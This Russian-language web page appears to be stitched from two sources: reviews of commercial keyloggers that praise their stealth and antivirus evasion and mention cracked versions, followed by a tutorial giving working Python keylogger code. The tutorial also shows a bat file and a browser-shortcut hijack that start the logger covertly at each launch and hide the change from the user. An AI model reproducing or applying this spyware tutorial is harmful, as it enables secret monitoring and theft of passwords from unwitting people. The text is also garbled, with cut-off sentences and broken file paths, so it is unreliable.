  • Платная версия стоит достаточно дорого.

Мнения юзеров об этом софте таковы: «Удобная, простая и функциональная программа. Довольно незаметна при работе».

Actual Spy

Это функциональная и сложная платная программа стоимостью 600 рублей. Однако она имеет демонстрационную версию, распространяющуюся бесплатно.

Особенность этого софта – способность в заданный период времени.

Это помогает решить проблему ввода графического пароля/ключа, которые в последнее время стали широкого распространяться.

  • Множество типов собираемой информации плюс возможность делать скриншоты с экрана в указанный период;
  • Большое количество других дополнительных функций и особенностей;
  • Записывает не только действия, но и время их выполнения;
  • Шифрует сформированный журнал.
  • Длительность работы (сбора информации) в бесплатной демонстрационной версии составляет 40 минут;
  • Платное распространение, хотя и более или менее приемлемая цена;
  • Достаточно большой вес программы.

Отзывы пользователей о данном приложении таковы: «Программа отличная. Молодцы программисты!».

EliteKeylogger

Платная программа с достаточно высокой ценой – 69 долларов. Действует на ПК полностью незаметно в режиме низкого уровня, потому почти полностью не поддается обнаружению.

Интересная и удобная особенность – автоматический запуск софта, происходящий одновременно с запуском самой системы.

Сложно обнаруживается или вовсе не обнаруживается даже специальными антикейлогерами.

  • Полностью срытое действие и сложность в обнаружении;
  • Формат работы типа низкоуровневого драйвера и автоматический запуск при загрузке системы;
  • Отслеживает также и нажатия не только основных, но и служебных клавиш на клавиатуре.
  • Достаточно сложная система установки программы на ПК;
  • Высокая стоимость программы, но в российском интернете можно найти старую взломанную версию;
  • Довольно сложная система индивидуальных настроек программы, которая, впрочем, оправдывает себя.

Что же говорят юзеры об этом софте? «Хорошая программа», «Немного не дотягивает до Jetlogger».

The Rat!

Довольно распространенная и популярная, функциональная утилита с платной лицензией.

Однако для частного использования предоставляется бесплатная демонстрационная версия ч ограниченным периодом действия.

Программа очень простая – написать такую же может любой продвинутый пользователь. Тем не менее, она полностью неуловима для антивирусов и специальных программ, обнаруживающих подобный софт.

  • Простота, функциональность и высокая стабильность работы;
  • Минимальный вес файла и место, занимаемое им на компьютере;
  • Достаточно много настроек.
  • Довольно неприятный дизайн, выполненный в черном, белом и красном цветах;
  • Функционал несколько уже, чем в программах, описанных до этого;
  • Неудобный просмотр журнала и вообще неудобный интерфейс и использование.

Пользователи говорят о данной программе следующее: «Работает стабильно, но простовата», «Программа хорошая, позволяет собирать данные незаметно».

SPYGO

Это принципиально новый кейлогер, предназначенный для работы на и разработанный российским программистом.

Здравствуйте, с вами снова QUAZAR. Сегодня я покажу как создать простой кейлоггер на Python. Разумеется данный клавиатурный шпион не может соперничать с такими гигантами как , но несмотря на это ему можно найти свое применение.

Что такое кейлоггер?

Подробно о том, что такое кейлоггер и о видах кейлоггеров, вы можете прочитать в статье « «. Чтобы найти дополнительные материалы по теме используйте поиск по сайту, который находится в верхнем правом углу. Просто впишите слово «кейлоггер» или «клавиатурный шпион».

Простой кейлоггер на Python

Для создания кейлоггера нам потребуется:

  • Операционная система: Windows или MacOs (также можно использовать любой Linux, но я лично не пробовал)
  • Установленный на целевой машине Python, а также специальные библиотеки.

Данный материал носит информационный характер. Изложенная в статье информация предоставлена исключительно в ознакомительных целях. Ни редакция сайта www.сайт, ни автор публикации не несут никакой ответственности за любой вред нанесенный материалом этой статьи.

Создание простого кейлоггера на Python

Для начала необходимо скачать и установить Python .


Простой кейлоггер на Python

После установки Python вам необходимо установить модули «pyHook» и «pywin32». На этом сайте вы найдете 32- и 64-битные версии для Windows и других ОС. Скачайте «PYhook» и «pyWin32» в соответствии с установленной вами версией Python и Windows (32 бит или 64 бит).


Кейлоггер на Python. Модуль PYhook Кейлоггер на Python. Модуль pyWin32

После загрузки установите и откройте меню IDLE (Python GUI) из меню «Пуск».

Простой кейлоггер на Python

Зайдите в меню «Файл» и нажмите на пункте «Новый Файл». После чего вставьте код кейлоггера:

#Name: QUAZAR
#Website: www.сайт
import pyHook, pythoncom, sys, logging
file_log = "C:keyloggerlog.txt"
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format="%(message)s")
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

И сохраните его назвав файл Keylogger.pyw. Только не сохраняйте файл в корневом каталоге C: где для копирования и удаления файлов нужны права администратора. Создайте новую папку на диске C: или в другом месте, где вам не нужны права администратора для копирования файлов и сохраните Keylogger.pyw там.

В качестве выходного файла отчета «file_log =« C:keyloggerlog.txt » вы можете выбрать любое место, но лучше конечно, какое-то скрытое место на жестком диске. В этом примере я буду сохранять файл отчета на диск в корневой каталог C:. Ведь мне нечего скрывать.

Автоматический запуск кейлоггера на Python

Кейлоггер готов. Теперь надо сделать так чтобы кейлоггер запускался скрыто от пользователя и автоматически с загрузкой Windows. Реализовать это можно по разному. Попробуем сделать с помощью bat-файла привязав запуск кейлоггера к какой-нибудь программе или прописав в автозагрузку.

Для начала создайте bat-файл. Скопируйте и вставьте в блокнот следующий код:

::Name: QUAZAR
::Website: www.сайт
@echo off
start "" "C:keyloggerkeylogger.pyw"
start "" "C:Program FilesOperalauncher.exe"

В первой строке необходимо вписать путь к файлу keylogger.pyw (в моем случае «C:keylogger.pyw»). Во второй строке вы должны ввести путь к программе, который обычно использует пользователь (в моем случае — браузер Opera).

После редактирования сохраните файл в расширении.bat (в моем случае logger.bat) в каком-нибудь скрытом месте на компьютере (в моем случае в «C:keylogger.bat»).

Теперь идем на рабочий стол и выбираем ярлык часто используемой программы (в моем случае — это браузер Opera). Правым кликом мышки вызываем контекстное меню и заходим в свойства ярлыка. В поле «Объект» вводим путь к бат-файлу кейлоггера «C:keyloggerlogger.bat».

После внесения изменений изменится и иконка ярлыка. Но это легко решается на вкладке свойстве (смотрите скрин выше).